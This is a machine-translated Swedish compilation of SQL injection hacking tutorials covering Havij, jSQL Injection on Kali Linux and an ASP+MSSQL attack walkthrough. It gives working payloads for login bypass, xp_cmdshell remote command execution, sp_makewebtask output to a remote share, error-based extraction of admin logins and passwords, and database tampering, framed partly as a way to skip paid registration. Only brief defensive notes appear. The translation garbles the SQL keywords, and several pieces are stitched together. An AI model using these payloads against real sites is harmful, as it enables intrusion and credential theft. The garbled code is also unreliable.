Program för sql-injektioner. Instruktioner för att använda jSQL Injection, ett multifunktionellt verktyg för att hitta och utnyttja SQL-injektioner i Kali Linux. Brute forcering hash med jSQL Injection

Havij är ett program som letar efter webbsidors sårbarheter. Oftast används det inte för sitt huvudsakliga syfte, nämligen att injicera SQL-injektioner. Det är på grund av detta som verktyget oftast klassificeras som "hacking"-programvara.

Funktionsprincip

Med den här applikationen kan du utföra attacker på en webbtjänst för att ändra SQL-uttrycket genom konkantenering. Om den lyckas låter injektionen dig modifiera logiken för att utföra en användarförfrågan för att passa dina egna behov. Ofta, under en attack, skapas ett enkelt fingeravtryck av databasen, varefter nödvändig data importeras från den, till exempel en användardatabas eller ett administratörskonto. Om det finns sårbarheter kan en angripare till och med interagera med Back-end-delen av webbapplikationen. I synnerhet gör en sådan implementering det möjligt att utföra de nödvändiga kommandona på servern eller se de nödvändiga filerna på värdsidan.

Möjligheter

Havij låter dig spara lösenordshashar och tabelldumpar. Programmet låter dig utföra olika typer av injektioner: felbaserad SQL-injektion, UNION-fråga SQL-injektion, staplade frågor SQL-injektion, tidsbaserad blind SQL-injektion och boolesk-baserad blind SQL-injektion. Verktyget fungerar med HTTPS och stöder en mängd olika DBMS-typer: MSAccess, MySQL, Oracle, PostgreSQ och till och med Sybase. Vid behov kan Havij arbeta i flera trådar via en proxy.

Syntaxen för den inbäddade koden kan redigeras manuellt. Innan du startar en attack får du också välja en lista med sökord, tabellkolumner eller datatyper (till exempel heltal eller bråk).

Under operationen för Havij en detaljerad logg över utförda operationer, som lagras i programmappen efter att attacken är klar. Applikationens gränssnitt är ganska intuitivt, och alla huvudkontroller ryms i ett fönster.

Nyckelfunktioner

  • utföra SQL-injektioner med den erforderliga syntaxen;
  • stöd för olika implementeringsalternativ;
  • sökning efter webbsidor och applikationssårbarheter;
  • förmåga att arbeta med olika typer av DBMS;
  • HTTPS och proxystöd.

SQL-injektion en ganska bra möjlighet för en hackare att få
åtkomst till servern. Och med lite ansträngning, han
får det fortfarande :)

Kodare inuti

Numera stöds arbetet med databaser
nästan alla programmeringsspråk, dessa inkluderar BASIC, C++, Java, PERL, PHP, Assembler och till och med JavaScript! Och dessa program kallas inget annat än DBMS - databashanteringssystem. Databaser används ofta för att lösa ekonomiska problem,
redovisning, personalorganisation, men de har även hittat sin applikation på Internet.

Databaser används ofta för att skriva WEB-applikationer. Deras användning är mest lämplig för att lagra användarregistreringsdata, sessionsidentifierare, organisera sökningar, såväl som andra uppgifter som kräver mer bearbetning
mängd data. För att komma åt databasen används serverteknologier: PHP, PERL, ASP, etc. Det är här det roliga börjar. När du är på servern
alla patchar är installerade och brandväggen blockerar alla portar utom port 80 eller när autentisering krävs för att komma åt vissa data kan en hackare använda SQL Injection för att hacka. Kärnan i denna attack är att utnyttja ett fel i skärningspunkten mellan WEB-teknik och SQL. Faktum är att många webbsidor för bearbetning av användardata utgör en speciell SQL databasförfrågan. Slarvig användning av denna teknik kan leda till ganska intressanta resultat...

SQL-injektion

För att förklara attacken, låt oss föreställa oss att du gick till sidan för att ladda ner ett mycket viktigt verktyg och märkte med fasa att bara en registrerad användare kan göra detta, och registrering kostar naturligtvis pengar :) Du vill inte ge bort dina senast intjänade pengar, men du kan inte göra det utan programmet! Det är dags att komma ihåg hur
tillgång till databaser SQL. Om du till exempel kontrollerar ditt användarnamn och lösenord i PHP kan det se ut så här:

$result=mysql_db_query($db,"VÄLJ * FRÅN $table WHERE user="$login" OCH
pass="$password"");
$num_rows=mysql_num_rows($result);
mysql_close($länk);
if ($antal_rader!=0)
{
// AUTENTICERING OK
}
annan
{
// VERIFIERINGSFEL
}

Jag lade till två kommentarer, "AUTENTIKERING OK" - istället borde jag
gå till koden som kommer att köras om lösenordet och inloggningen är korrekta. Ett annat "autentiseringsfel" är en plats där koden som kommer att exekveras om de är felaktiga kommer att beskrivas. Om du fyller i formuläret kommer begäran att se ut som "http://www.server.com?login=user&password=31337", där www.server.com är namnet
servern vi försöker ansluta till. Vi hittade det vi letade efter, och därför kommer vi tillbaka till jobbet igen SQL. Så, om du måste ange en inloggning och lösenord för auktorisering, då genereras SQL begäran kommer att se ut så här:

VÄLJ * FRÅN användare WHERE login="användare" OCH
lösenord="31337"

Detta betyder ungefär så här: returnera till mig alla poster från användardatabasen vars inloggning är "användare" och lösenordet är "31337". Om en sådan post finns så är användaren registrerad, men om inte så inte... Men under vissa omständigheter kan allt korrigeras. Detta hänvisar till situationen när applikationen inte kontrollerar innehållet i de överförda data eller inte kontrollerar det helt för närvaron SQL instruktioner. I det här exemplet är två fält inloggning och lösenord kontrollerade, men om du anger "31337" OCH email=" [e-postskyddad]"(utan dubbla citattecken), då kommer frågan att bli lite annorlunda:

VÄLJ * FRÅN användare WHERE login="användare" OCH lösenord="31337" OCH
email=" [e-postskyddad]"

Och om e-postfältet finns kommer även detta villkor att kontrolleras. Om du kommer ihåg grunderna i boolesk algebra, kommer du att tänka på att förutom operationen "och" finns det också ett "eller", och eftersom deras användning stöds av SQL, kan du
på det beskrivna sättet, lägg till ett villkor som alltid returnerar sant. För att göra detta måste du ange "användare" ELLER 1=1-- som inloggning, i vilket fall begäran kommer att ha formen:

VÄLJ * FRÅN användare WHERE login="användare" ELLER 1=1--" OCH
lösenord="31337"

Först bör du veta att "--" betyder slutet på begäran, och allt efter "--"
kommer inte att behandlas! Det visar sig att vi gjorde en begäran:

VÄLJ * FRÅN användare WHERE login="användare" ELLER 1=1

Som du kan se har vi lagt till villkoret "1=1", vilket innebär att verifieringskriteriet kommer att vara "om inloggningen är "användare" eller 1=1", men 1 är alltid lika med 1 (det enda undantaget kan vara Dani Shepovalovs aritmetik :)). För att testa våra misstankar
Ange "http://www.server.com?login=user or 1=1--&password=31337" i adressfältet. Detta leder till att det inte spelar någon roll vilken inloggning vi angett, men
speciellt lösenordet! Och vi finns i matrisen, i systemet, och kan lugnt ladda ner det vi behöver.

Men allt detta är i teorin. I praktiken vet vi inte hur begäran bildas, vilka data som överförs och i vilken ordningsföljd. Därför måste du ange "användare" ELLER 1=1--" för alla fält. Du bör också kontrollera inlämningsformuläret för dolda fält. I HTML beskrivs de som " ". Om det finns några, spara sidan och ändra värdena för dessa fält. Värdena som finns i dem glöms ofta bort att kontrolleras för närvaron av SQL-satser. Men för att allt ska fungera bör du ange den fullständiga sökväg till skriptet i formuläret ("FORM"-tagg) för parametern "ACTION", som bearbetar denna begäran.

Men det är inte alltid känt hur begäran bildas,
Det föregående exemplet kan utformas på följande sätt:

VÄLJ * FRÅN användare WHERE (login="användare" OCH lösenord="31337")
VÄLJ * FRÅN användare WHERE login="användare" OCH lösenord="31337"
VÄLJ * FRÅN användare WHERE login=användare OCH lösenord=31337

I det här fallet kan du prova följande alternativ:

"ELLER 1=1--
"ELLER 1=1--
ELLER 1=1--
" ELLER "a"="a
" ELLER "a"="a
") ELLER ("a"="a
ELLER "1"="1"

Allt beror på syftet med skriptet och på programmeraren. Eftersom varje person tenderar att göra allt på sitt eget sätt, är det mycket möjligt att programmeraren inte kommer att välja det enklaste alternativet. Därför bör du inte omedelbart
ge upp om du blir avvisad. Nödvändig
prova så många alternativ som möjligt...

Lösenordsdetektering

Att kringgå auktorisering är inte dåligt, men väldigt ofta stängs hålet du använder och allt som var tillgängligt för dig går förlorat.
Detta är att förvänta om programmeraren inte är en idiot
Med tiden kommer det att täppa till alla kryphål. Du kan enkelt bli av med sådana situationer genom att ta hand om det i förväg. Den korrekta lösningen kan vara att gissa lösenordet med hjälp av
analys av autentiseringsresultat. Låt oss först försöka gissa lösenordet, för att göra detta anger du dess plats:

"ELLER lösenord>"a

Om vi ​​får veta att auktoriseringen har godkänts, då lösenordet
börjar inte med bokstaven "a", utan med något av följande på listan. Låt oss gå vidare och ersätta
placera "a", nästa "b", "c", "d", "e"... osv. tills de säger till oss att lösenordet inte är korrekt. Låt denna process stanna vid tecknet "x", i det här fallet skapas två alternativ för utvecklingen av situationen: lösenordet hittas eller lösenordet börjar med detta tecken. För att kontrollera det första alternativet, skriv lösenordsplatsen:

"ELLER lösenord="x

och om lösenordet accepteras och du får komma in, då gissade du lösenordet! Nej, då ska du välja det andra tecknet,
exakt samma, från början. Kontrollera om det finns två tecken
behöver detsamma. I slutändan kommer du att få ett lösenord, och du kommer att leta efter en inloggning på samma sätt :)
Om det hittade lösenordet och inloggningen inte passar dig kan du hitta andra. För att göra detta måste du börja kontrollera från det sista tecknet i det hittade lösenordet. Så om lösenordet var "xxx" är det nödvändigt att kontrollera existensen av lösenordet
"xxxy":

"ELLER lösenord="xxx

för att inte missa mer än ett alternativ!

MS SQL Server

MS SQL Server är i allmänhet en skänk från ovan om den nödvändiga filtreringen missas. Med hjälp av SQL Injection sårbarheten kan du köra
kommandon på fjärrservern med exec master..xp_cmdshell. Men att använda denna design
SELECT-operationen måste slutföras. I SQL separeras satser med semikolon. Därför, för att ansluta till någon IP via Telnet, måste du ange lösenordet/inloggningen:

"; exec master..xp_cmdshell "telnet 192.168.0.1" --

MS SQL Server har flera intressanta funktioner som gör att du kan ta reda på inloggningar och lösenord lagrade i databasen. För att göra detta omdirigeras felutdata till en godtycklig server och genom dem
analys, kan du ta reda på namnet på tabellen, fält och deras typer. Därefter kan du begära

" UNION SELECT TOP 1 inloggning FRÅN användare--

(inloggning är namnet på fältet som innehåller inloggningen, och användare är namnet på tabellen,
semi-forskare i processen med felanalys).

Svaret kan vara:


Syntaxfel vid konvertering av nvarchar-värdet "admin" to a column of data type int. !}
/default.asp, rad 27

Nu vet vi att det finns en användare som heter "admin". Nu kan vi få hans lösenord:

" UNION SELECT TOP 1 lösenord FRÅN användare där login="admin"--

Resultat:

Microsoft OLE DB Provider för ODBC-drivrutiner fel "80040e07"
Syntaxfel vid konvertering av nvarchar-värdet "xxx" to a column of data type int. !}
/tedault.asp, rad 27

Nu vet vi att det finns en användare "admin" med lösenordet "xxx". Med detta kan du säkert
använd den och logga in i systemet 😉

Men det finns många andra funktioner för att arbeta med SQL,
När du arbetar med en databas kan du också ta bort data, ändra den, infoga din egen och till och med manipulera filer och arbeta med registret.
I allmänhet reglerar SQL Server :)

Skydd

Men allt detta kan naturligtvis undvikas. För att göra detta kan du
använda filter,
tillhandahålls av tillverkarna. Du kan hitta dina egna lösningar, till exempel att ersätta alla singel
dubbla citattecken (om för SQL begär att vi använder enstaka), eller vice versa. Du kan bara tillåta användning av bokstäver och s@baki, om du behöver gå in
e-postadress. Och i pearl finns en fantastisk
funktionen 🙂 quote() i DBI::DBD-modulen, som framgångsrikt gör din fråga säker med avseende på SQL. Det finns många lösningar, du behöver bara dem
utnyttja. Annars, varför då allt detta...

Kör den nedladdade filen genom att dubbelklicka (du måste ha en virtuell maskin).

3. Anonymitet vid kontroll av en plats för SQL-injektion

Konfigurera Tor och Privoxy i Kali Linux

[Avsnitt under utveckling]

Konfigurera Tor och Privoxy på Windows

[Avsnitt under utveckling]

Proxyinställningar i jSQL Injection

[Avsnitt under utveckling]

4. Kontrollera platsen för SQL-injektion med jSQL-injektion

Att arbeta med programmet är extremt enkelt. Ange bara webbadressen och tryck på ENTER.

Följande skärmdump visar att webbplatsen är sårbar för tre typer av SQL-injektioner (information om dem anges i det nedre högra hörnet). Genom att klicka på namnen på injektionerna kan du byta metod som används:

De befintliga databaserna har också redan visats för oss.

Du kan se innehållet i varje tabell:

Vanligtvis är det mest intressanta med tabeller administratörsuppgifterna.

Om du har tur och du hittar administratörens data är det för tidigt att glädjas. Du måste fortfarande hitta administratörspanelen där du ska ange denna information.

5. Sök efter adminpaneler med jSQL Injection

För att göra detta, gå till nästa flik. Här välkomnas vi med en lista över möjliga adresser. Du kan välja en eller flera sidor att kontrollera:

Bekvämligheten ligger i att du inte behöver använda andra program.

Tyvärr finns det inte särskilt många slarviga programmerare som lagrar lösenord i klartext. Ganska ofta i lösenordsraden ser vi något liknande

8743b52063cd84097a65d1633f5c74f5

Det här är en hash. Du kan dekryptera det med brute force. Och... jSQL Injection har en inbyggd brute force.

6. Brute force-hashar med jSQL Injection

Den otvivelaktiga bekvämligheten är att du inte behöver leta efter andra program. Det finns stöd för många av de mest populära hasharna.

Detta är inte det bästa alternativet. För att bli en guru i avkodning av hash rekommenderas boken "" på ryska.

Men, naturligtvis, när det inte finns något annat program till hands eller det inte finns tid att studera, kommer jSQL Injection med dess inbyggda brute force-funktion att vara väldigt praktisk.

Det finns inställningar: du kan ställa in vilka tecken som ingår i lösenordet, lösenordslängdintervallet.

7. Filoperationer efter upptäckt av SQL-injektioner

Förutom operationer med databaser - läsning och ändring av dem, om SQL-injektioner upptäcks, kan följande filoperationer utföras:

  • läsa filer på servern
  • ladda upp nya filer till servern
  • ladda upp skal till servern

Och allt detta är implementerat i jSQL Injection!

Det finns begränsningar - SQL-servern måste ha filbehörighet. Smarta systemadministratörer har inaktiverat dem och kommer inte att kunna få åtkomst till filsystemet.

Förekomsten av filprivilegier är ganska enkel att kontrollera. Gå till en av flikarna (läsa filer, skapa ett skal, ladda upp en ny fil) och försök utföra en av de angivna operationerna.

En annan mycket viktig anmärkning - vi behöver veta den exakta absoluta sökvägen till filen som vi kommer att arbeta med - annars kommer ingenting att fungera.

Titta på följande skärmdump:

På alla försök att använda en fil får vi följande svar: Ingen FILE-behörighet(inga filrättigheter). Och inget kan göras här.

Om du istället har ett annat fel:

Problem med att skriva till [katalognamn]

Det betyder att du felaktigt har angett den absoluta sökvägen dit du vill skriva filen.

För att gissa en absolut väg måste du åtminstone veta vilket operativsystem servern körs på. För att göra detta, växla till fliken Nätverk.

Ett sådant rekord (rad Win64) ger oss anledning att anta att vi har att göra med Windows OS:

Keep-Alive: timeout=5, max=99 Server: Apache/2.4.17 (Win64) PHP/7.0.0RC6 Anslutning: Keep-Alive Metod: HTTP/1.1 200 OK Innehållslängd: 353 Datum: Fre, 11 dec 2015 11:48:31 GMT X-Powered-By: PHP/7.0.0RC6 Content-Type: text/html; charset=UTF-8

Här har vi lite Unix (*BSD, Linux):

Överför-kodning: chunked Datum: fre, 11 dec 2015 11:57:02 GMT Metod: HTTP/1.1 200 OK Keep-Alive: timeout=3, max=100 Anslutning: keep-alive Innehållstyp: text/html X- Powered-By: PHP/5.3.29 Server: Apache/2.2.31 (Unix)

Och här har vi CentOS:

Metod: HTTP/1.1 200 OK Upphör att gälla: Tors, 19 Nov 1981 08:52:00 GMT Set-Cookie: PHPSESSID=9p60gtunrv7g41iurr814h9rd0; path=/ Anslutning: keep-alive X-Cache-Lookup: MISS från t1.hoster.ru:6666 Server: Apache/2.2.15 (CentOS) X-Powered-By: PHP/5.4.37 X-Cache: MISS från t1.hoster.ru Cache-kontroll: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Datum: Fre, 11 Dec 2015 12:08:54 GMT Transfer-Encoding: chunked Content-Type: text/html; charset=WINDOWS-1251

På Windows är en typisk mapp för webbplatser C:\Server\data\htdocs\. Men i själva verket, om någon "tänkte på" att skapa en server på Windows, så har den här personen mycket troligt inte hört något om privilegier. Därför bör du börja försöka direkt från C:/Windows/-katalogen:

Som ni ser gick allt bra första gången.

Men själva jSQL Injection-skalen väcker tvivel i mitt sinne. Om du har filrättigheter kan du enkelt ladda upp något med ett webbgränssnitt.

8. Masskontroll av platser för SQL-injektioner

Och även denna funktion är tillgänglig i jSQL Injection. Allt är extremt enkelt - ladda ner en lista över webbplatser (du kan importera från en fil), välj de som du vill kontrollera och klicka på lämplig knapp för att starta operationen.

Slutsats från jSQL Injection

jSQL Injection är ett bra, kraftfullt verktyg för att söka och sedan använda SQL-injektioner som finns på webbplatser. Dess otvivelaktiga fördelar: användarvänlighet, inbyggda relaterade funktioner. jSQL Injection kan vara en nybörjares bästa vän när man analyserar webbplatser.

Bland bristerna skulle jag notera omöjligheten att redigera databaser (åtminstone hittade jag inte denna funktionalitet). Som med alla GUI-verktyg kan en av nackdelarna med detta program tillskrivas dess oförmåga att användas i skript. Icke desto mindre är viss automatisering också möjlig i detta program - tack vare den inbyggda funktionen för masskontroll av webbplatser.

Programmet jSQL Injection är mycket bekvämare att använda än sqlmap. Men sqlmap stöder fler typer av SQL-injektioner, har alternativ för att arbeta med filbrandväggar och en del andra funktioner.

Sammanfattning: jSQL Injection är en nybörjare hackers bästa vän.

Hjälp för detta program i Kali Linux Encyclopedia finns på denna sida: http://kali.tools/?p=706

SQL-injektion för dummies, hacka ASP+MSSQL

Alexander Antipov

Den här artikeln innehåller inga nya sanningar. SQL-injektion beskrivs och används överallt. Artikeln är mer avsedd för nybörjare, men kanske proffs kommer att kunna hitta ett eller två nya knep.


Den här artikeln är avsedd att hjälpa nybörjare att hantera de problem de kan stöta på när de använder SQL Injection-tekniken, använda den framgångsrikt och kunna skydda sig mot sådana attacker.

Introduktion

När servern av intresse bara har port 80 öppen, och sårbarhetsskannern inte kan rapportera något intressant, och du vet att systemadministratören alltid mycket snabbt installerar alla patchar på webbservern, är vår sista chans webbhackning. SQL-injektion är en av de typer av webbhackning som endast använder port 80, och som kan fungera även med rätta patchar. Denna attack är mer riktad mot webbapplikationer (som ASP, JSP, PHP, CGI, etc.) än direkt mot webbservern eller tjänsterna i operativsystemet.

Den här artikeln innehåller inga nya sanningar. SQL-injektion beskrivs och används överallt. Artikeln är mer avsedd för nybörjare, men kanske proffs kommer att kunna hitta ett eller två nya knep. Jag rekommenderar också att du kollar in länkarna i slutet av artikeln för mer detaljerad information från experter på området.

1.1 Vad är SQL Injection?

SQL Injection är en metod utformad för att injicera SQL-frågor/kommandon via webbsidor. Många webbsidor använder parametrar som presenteras för webbanvändare och gör en SQL-fråga till databasen. Låt oss ta till exempel fallet med en användarinloggning, när det finns en webbsida med ett namn och lösenord och en SQL-fråga görs i databasen för att kontrollera om det finns en registrerad användare med det namnet och lösenordet. Med SQL Injection är det möjligt att skicka ett påhittat användarnamn och/eller lösenordsfält som modifierar SQL-frågan, vilket kan ge oss en del intressanta saker.

2.0 Vad vi ska leta efter

Försök att hitta sidor som ber dig om data, som söksida, diskussionssida osv. Ibland använder html-sidor POST-metoden för att skicka kommandon till en annan webbsida. I det här fallet kommer du inte att se parametrar i URL:en. Men i det här fallet kan du leta efter "FORM"-taggen i HTML-källkoden för sidorna. Du hittar något sånt här:



Alla parametrar mellan

Och
kan potentiellt vara sårbara för SQL-injektion.

2.1 Vad händer om du inte hittar en sida som använder input?

Leta efter sidor som ASP-, JSP-, CGI- eller PHP-webbsidor. Försök att hitta sidor som använder parametrar som:

3.0. Hur kan jag kontrollera att det jag hittade är sårbart?

Försök att börja med ett enda citat. Ange följande rad:

hej" eller 1=1--

i användarnamnet eller lösenordsfältet, eller till och med i URL-parametern. Exempel:

Logga in: hej" eller 1=1--
Godkänt: hej" eller 1=1--
http://duck/index.asp?id=hi" eller 1=1--

Om du gjorde detta med ett dolt fält, ladda bara ner den ursprungliga HTML-koden, spara den på din hårddisk, ändra URL-adressen och det dolda fältet i enlighet med detta. Exempel:



Om turen är på din sida kommer du att kunna logga in utan användarnamn eller lösenord.

3.1 Men varför " eller 1=1--?

Låt oss titta på ett annat exempel som förklarar användbarheten av " eller 1=1-- konstruktionen. Förutom att kringgå registreringen kan vi också titta på ytterligare information som vanligtvis inte är tillgänglig. Överväg en asp-sida som länkar till en annan sida med följande URL:

http://duck/index.asp?category=food

I en URL är "kategori" namnet på variabeln och "mat" är värdet som tilldelas den variabeln. För att göra detta kan asp-sidan innehålla följande kod:

v_cat = request("kategori")
sqlstr="VÄLJ * FRÅN produkt WHERE PCategory="" & v_cat & """
set rs=conn.execute(sqlstr)

som du kan se kommer vår variabel att kombineras med v_cat och därför bör SQL-frågan bli:

VÄLJ * FRÅN produkt WHERE PCategory="food"

Denna fråga måste returnera en uppsättning som innehåller en eller flera rader som matchar WHERE-satsen, i det här fallet "mat". Låt oss nu ändra webbadressen enligt följande:

http://duck/index.asp?category=food" eller 1=1--
VÄLJ * FRÅN produkt WHERE PCategory="food" eller 1=1--‘

Denna fråga kommer att returnera alla rader i produkttabellen, oavsett om Pcategory är "mat" eller inte. Det dubbla bindestrecket "-" säger till MS SQL Server att ignorera resten av frågan som följer efter det enkla citattecken ("). Ibland kan du ersätta det dubbla bindestrecket med ett skarpt "#".

Men om du använder en icke-SQL-server, eller om du inte kan ignorera resten av frågan, försök:

" eller "a"="a

Nu blir SQL-frågan:

VÄLJ * FRÅN produkt WHERE PCategory="food" eller "a"="a"

Denna fråga kommer att returnera samma resultat.

Beroende på den faktiska SQL-frågan kan du behöva prova några av dessa möjligheter:

"eller 1=1--
"eller 1=1--
eller 1=1--
" eller "a"="a
" eller "a"="a
") eller ("a"="a

4.0 Hur kan jag köra kommandon på distans med hjälp av SQL-injektion?

Möjligheten att ange ett SQL-kommando innebär vanligtvis att vi kan köra SQL-frågor efter behag. Standardinstallationen av MS SQL Server körs med systemrättigheter. Vi kan anropa inbyggda procedurer som master..xp_cmdshell för att fjärrexekvera godtyckliga kommandon:

"; exec master..xp_cmdshell "ping 10.10.1.2" --

Försök att använda dubbla citattecken (") om (") inte fungerar.

Semikolonet avslutar den aktuella SQL-frågan och låter dig köra nya SQL-kommandon. För att kontrollera om kommandot lyckades kan du kontrollera ICMP-paketen i 10.10.1.2 för att se om de innehåller några paket från den sårbara servern:

http://site/?ID=31610

Om du inte får någon ping-begäran från servern och får ett felmeddelande som indikerar ett behörighetsfel, är det möjligt att administratören har begränsat webbanvändarens åtkomst till lagrade procedurer.

5.0 Hur får jag resultaten av min SQL-fråga?

Du kan använda sp_makewebtask för att skriva din begäran i HTML:

"; EXEC master..sp_makewebtask "\\10.10.1.3\share\output.html", "VÄLJ * FRÅN INFORMATION_SCHEMA.TABLER"

Den angivna IP-adressen måste ha en "share"-mapp med åtkomst för alla.

6.0 Hur hämtar man data från en databas med ODBC-felmeddelanden?

Vi kan använda informationen från felmeddelandet som skapas av SQL-servern för att hämta all data. Tänk till exempel på följande sida:

http://duck/index.asp?id=10

Nu ska vi försöka sammanfoga heltal '10' med en annan rad i databasen:

http://duck/index.asp?id=10 UNION VÄLJ TOP 1 TABLE_NAME FRÅN INFORMATION_SCHEMA.TABLER--

Systemtabellen INFORMATION_SCHEMA.TABLES innehåller information från alla tabeller på servern.

Fältet TABLE_NAME innehåller uppenbarligen namnet på varje tabell i databasen. Det valdes för att vi vet att det alltid finns. Vår begäran:

VÄLJ TOP 1 TABLE_NAME FRÅN INFORMATION_SCHEMA.TABLES--

Denna fråga returnerar förnamnet i databasen. När vi UNION detta strängvärde till heltal 10, kommer MS SQL Server att försöka konvertera nvarchar-strängen till ett heltal. Detta kommer att skicka ett felmeddelande som säger att det inte kan konvertera nvarchar till int. Servern kommer att skicka följande fel:


Syntaxfel vid konvertering av nvarchar-värdet "tabell1" to a column of data type int. !}
/index.asp, rad 5

Felmeddelandet innehåller information om ett värde som inte kan konverteras till ett heltal. I det här fallet fick vi namnet på den första tabellen - "tabell1".

För att få nästa tabellnamn kan vi använda följande fråga:

http://duck/index.asp?id=10 UNION VÄLJ TOP 1 TABLE_NAME FRÅN INFORMATION_SCHEMA.TABLER DÄR TABLE_NAME INTE I ("Table1")--

Vi kan också söka efter data med LIKE-tangenten:

http://duck/index.asp?id=10 UNION VÄLJ TOP 1 TABLE_NAME FRÅN INFORMATION_SCHEMA.TABLER DÄR TABLE_NAME SOM "%25login%25"--

Microsoft OLE DB Provider för ODBC-drivrutiner fel "80040e07" Syntaxfel vid konvertering av nvarchar-värdet "admin_login" to a column of data type int. !} /index.asp, rad 5

Motsvarande konstruktion "%25login%25" kommer att ersättas med %login% i SQL-servern. I det här fallet kommer vi att få namnet på tabellen som matchar "admin_login"-kriteriet.

6.1 Hur kan jag ta reda på alla kolumnnamn i en tabell?

Vi kan använda tabellen INFORMATION_SCHEMA.COLUMNS för att visa alla kolumnnamn i tabellen:

http://duck/index.asp?id=10 UNION VÄLJ TOP 1 COLUMN_NAME FRÅN INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME="admin_login"-

Microsoft OLE DB Provider för ODBC-drivrutiner fel "80040e07"
Syntaxfel vid konvertering av nvarchar-värdet "login_id" to a column of data type int. !}
/index.asp, rad 5

Nu när vi vet det första kolumnnamnet kan vi använda NOT IN() för att få nästa kolumnnamn:

http://duck/index.asp?id=10 UNION VÄLJ TOP 1 COLUMN_NAME FRÅN INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME="admin_login" WHERE COLUMN_NAME INTE I ("login_id")-

Microsoft OLE DB Provider för ODBC-drivrutiner fel "80040e07"
Syntaxfel vid konvertering av nvarchar-värdet "login_name" to a column of data type int. !}
/index.asp, rad 5

Fortsätter vi kommer att få resten av kolumnnamnen d.v.s. "lösenord", "detaljer" tills vi får följande fel.

http://duck/index.asp?id=10 UNION VÄLJ TOP 1 COLUMN_NAME FRÅN INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME="admin_login" WHERE COLUMN_NAME INTE IN ("login_id","login_name","lösenord",detaljer")--

Microsoft OLE DB Provider för ODBC-drivrutiner fel "80040e14"
ORDER BY-objekt måste visas i urvalslistan om satsen innehåller en UNION-operator.
/index.asp, rad 5

6.2. Hur får vi den data vi behöver?

Nu när vi har identifierat några viktiga tabeller kan vi använda samma teknik för att hämta information från databasen.

Låt oss hämta det första login_name från tabellen "admin_login":

http://duck/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login--

Microsoft OLE DB Provider för ODBC-drivrutiner fel "80040e07"
Syntaxfel vid konvertering av nvarchar-värdet "neo" to a column of data type int. !}
/index.asp, rad 5

Nu vet vi att det finns en adminanvändare med inloggningsnamnet "neo". Äntligen kan vi få lösenordet "neo":

http://duck/index.asp?id=10 UNION SELECT TOP 1-lösenord FRÅN admin_login där login_name="neo"--

Microsoft OLE DB Provider för ODBC-drivrutiner fel "80040e07"
Syntaxfel vid konvertering av nvarchar-värdet "m4trix" to a column of data type int. !}
/index.asp, rad 5

Nu kommer vi att kunna logga in som "neo" med lösenordet "m4trix".

6.3 Hur får man fram det numeriska värdet på en sträng?

Det finns en begränsning i metoden som beskrivs ovan. Vi kommer inte att kunna få ett felmeddelande om vi försöker konvertera text som består av ett tal (endast tecken mellan 0...9). Nu kommer vi att beskriva att få lösenordet "31173" från användaren "trinity":

http://duck/index.asp?id=10 UNION SELECT TOP 1-lösenord FRÅN admin_login där login_name="trinity"--

Vi kommer förmodligen att få felet "Sida hittades inte". Anledningen är att lösenordet "31173" kommer att omvandlas till ett tal, före UNION med ett heltal (i vårt fall 10). Eftersom UNION-uttrycket är korrekt kommer SQL-servern inte att generera ett felmeddelande, och därför kommer vi inte att kunna få en numerisk post.

För att lösa detta problem kan vi lägga till en nummersträng i slutet med några bokstäver för att förhindra att konverteringen går igenom. Ändrad begäran:

http://duck/index.asp?id=10 UNION SELECT TOP 1 convert(int, password%2b"%20morpheus") FROM admin_login där login_name="trinity"--

Vi använder helt enkelt plustecknet (+) för att lägga till lösenordet med valfri text (ASSCII-kodning för "+" = 0x2b). Därefter lägger vi till "%20morpheus" i slutet av det faktiska lösenordet. Så även om lösenordsvärdet är "31173" blir det "31173 morpheus". Genom att manuellt anropa convert()-funktionen som försöker konvertera "31173 morpheus" till ett heltal, kommer SQL Server att skicka ett ODBC-felmeddelande:

Microsoft OLE DB Provider för ODBC-drivrutiner fel "80040e07"
Syntaxfel vid konvertering av nvarchar-värdet "31173 morpheus" to a column of data type int. !}
/index.asp, rad 5

Nu kommer vi att kunna logga in som "trinity" med lösenordet "31173".

7.0 Hur ändrar/infogar man data i databasen?

När vi har fått namnen på alla efter kolumn i tabellen kan vi uppdatera (UPPDATERA) eller till och med infoga (INSERT) en ny post i tabellen. Till exempel kan vi ändra lösenordet för "neo":

http://duck/index.asp?id=10; UPPDATERA "admin_login" SET "password" = "newpas5" WHERE login_name="neo--

Så här infogar du en ny post i databasen:

http://duck/index.asp?id=10; INSERT I "admin_login" ("login_id", "login_name", "lösenord", "detaljer") VÄRDEN (666,"neo2","newpas5","NA")--

Nu kommer vi att kunna logga in som "neo" med lösenordet "newpas5".

8.0 Hur undviker man SQL-injektion?

Filtrera specialtecken på alla rader i:

Alla data som användaren har angett
- URL-parametrar
- Kaka

För numeriska värden, konvertera dem till heltal innan du skickar dem till SQL-frågan. Eller använd ISNUMERIC för att se till att det är ett heltal.

Kör SQL Server som en oprivilegierad användare.

Ta bort oanvända lagrade procedurer: master..Xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask